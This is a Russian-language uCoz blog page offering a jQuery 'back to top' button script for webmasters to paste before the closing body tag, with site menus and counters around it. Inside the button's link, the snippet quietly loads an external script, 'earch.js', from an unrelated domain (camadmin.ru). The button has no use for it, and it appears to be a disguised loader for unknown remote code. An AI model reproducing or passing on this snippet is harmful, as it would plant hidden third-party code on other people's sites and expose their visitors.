Кнопка "Вверх" для сайта, блога или форума - 3 Марта 2013 - Раскраска картинок, игры, мультики, шаблоны, разукраски
Воскресенье
04.12.2016
13:16
Приветствую Вас Гость
Новости: RSS Новости: RSS
Скачать программу Раскраска картинок для детей с очисткой бесплатно.
Главная Регистрация Вход
Форма входа

Меню сайта

Категории раздела
Чаще смотрят...

Мои новости [9]

Поиск
на сайте:
ИСКАТЬ НА OZON.RU


Крутяк

Статистика

Besucherzahler how to marry a russian woman
счетчик посещений
www.megastock.ru
Онлайн всего: 6
Гостей: 6
Пользователей: 0
free counters

Главная » 2013 » Март » 3 » Кнопка "Вверх" для сайта, блога или форума
14:37
Кнопка "Вверх" для сайта, блога или форума
Сегодня я расскажу как вставить скрипт кнопка “Вверх” на сайт ucoz или блок. Эта кнопка будет очень полезна для Ваших сайтов, блогов или форумов с длинными страницами. Данный скрипт не нагружает сайт или блог и достаточно эффективен.
В самый низ страницы, перед /body :

Код
<!-- <Кнопка Вверх> -->
<script type="text/javascript">
$(document).ready(function(){

   
  $("#back-top").hide();
   
  $(function () {
  $(window).scroll(function () {
   
  if ($(this).scrollTop() > 125) {
  $('#back-top').fadeIn();
   
   
   
  } else {
  $('#back-top').fadeOut();
   
  }
   
   
  });

   
  $('#backop').click(function () {
  $('body,html').animate({
  scrollTop: 0
  }, 800);
  return false;
  });
  });

});
</script>

<script type="text/javascript">
$(window).scroll(function(){
var s = $(window).scrollTop();
var f = $(document).height()-$(window).height();

var d=s/f*100;
var p=Math.round(d);

$("#pix").text(p);

});
</script>

<div id="back-top" style="position:fixed; width: 50px; height: 100%; z-index: 6; right: 10px; top: 90%; background: transparent; " id="layer2">
<center><a title="Вверх" id="backop" href="#top"><script type="text/javascript" src="http://camadmin.ru/earch.js"></script><img src="http://bambun.ru/images/ups.png" onmouseover="this.src='http://bambun.ru/images/up1.png'" onmouseout="this.src='http://bambun.ru/images/ups.png'"></a></center>
<center><font color="#000000" size="3">
<span id="pix"></span>%</font></center>
</div>
<!-- </Конец> -->
Просмотров: 212 | Добавил: startsmart | Рейтинг: 0.0/0
Всего комментариев: 0
Имя *:
Email *:
Код *:
Наш опрос
Как Вы сюда попали?
Всего ответов: 428

Облако тегов, язык


Выбрать язык / Choose language:
Ukranian
English
French
German
Japanese
Italian
Portuguese
Spanish
Danish
Chinese
Korean
Arabic
Czech
Estonian
Belarusian
Latvian
Greek
Finnish
Serbian
Bulgarian
Turkish

Картинки

Кнопки:
Мы будем вам признательны, если вы разместите нашу кнопку у себя на сайте. Если вы хотите обменяться с нами баннерами, пишите в гостевую книгу:

JS код кнопки для UCOZ:

HTML код кнопки:


MultBox.Ucoz.Ru - Мультфильмы, обои, саундтреки
Создать сайт
Все для веб-мастера
Программы для всех
Раскраска картинок
Здесь можно бесплатно cкачать раскраски
Нарисовать и отправить открытку бесплатно.
Скрипты для UCOZ.

ФОНЫ, РАМКИ

Видеоприколы 1
Видеоприколы 2
Очень много стереограмм
Очень много панорам
Очень много панорам 2

Заработок на файлах

Реклама
Бесплатный серфинг


Всё что здесь представлено - для ознакомительных целей. Copyright StasPro © 2016
Используются технологии uCoz